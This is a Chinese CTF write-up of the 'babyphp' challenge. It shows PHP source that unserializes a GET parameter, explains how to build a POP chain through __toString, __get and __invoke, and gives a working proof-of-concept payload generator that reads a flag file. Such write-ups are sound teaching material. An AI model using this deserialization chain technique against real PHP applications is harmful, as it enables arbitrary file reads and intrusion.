京津冀大學生競賽:babyphp
比賽的時候沒做出來,回來以后一會就做出來了,難受。。。還是基本功不扎實,都不記得__invoke
怎么觸發的了
放上源碼
<?php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'瑙f瀽寮€濮?'."<br>";
}
public function __toString()
{
$this->str['str']->source;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
$func = $this->params;
return $func();
}
}
if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
else
{
$show = new Show('index.php');
$show->_show();
}
官方給的hint是
babyphp提示:php反序列化鏈構造、魔術方法__toString、__wakeup()、__invoke()、__get()
其實沒什么用,很明顯是反序列化。關鍵是pop鏈的構造思路。
我找pop鏈的思路一般是
- 1、找
__destruct()
、__toString()
這樣容易觸發反序列化的魔術方法,這是pop鏈的起點 - 2、找能利用來getflag的函數,例如
file_get_contents()
這種,這是pop鏈的終點 - 3、最后從終點慢慢一環一環往回推,推回起點就成功構造出pop鏈
本題中pop鏈的起點應該是Show::__toString()
,然后尋找可用的echo
,第一眼看到的就還是Show::__construct()
,還有一處Read::__invoke
中的echo
其實是最后getflag的地方。我們帶着這個思路走下去,那么Read::__invoke
就是pop鏈的終點。
__invoke()
觸發條件是
當嘗試以調用函數的方式調用一個對象時,__invoke() 方法會被自動調用。
可以發現Test::__get()
中有
$func = $this->params;
return $func();
繼續回推,__get()
的觸發方法是
讀取不可訪問屬性的值時,__get() 會被調用。
我們發現Show::__toString()
中有$this->str['str']->source;
,完美
最終poc如下
<?php
error_reporting(3);
class Read {
public $var;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $params;
}
$c = new Read();
$c->var = 'fllllllaaaaaag';
$b = new Test();
$b->params = $c;
$d = new Show();
$d->str = array('str'=>$b);
$a = new Show();
$a->source = $d;
echo serialize($a);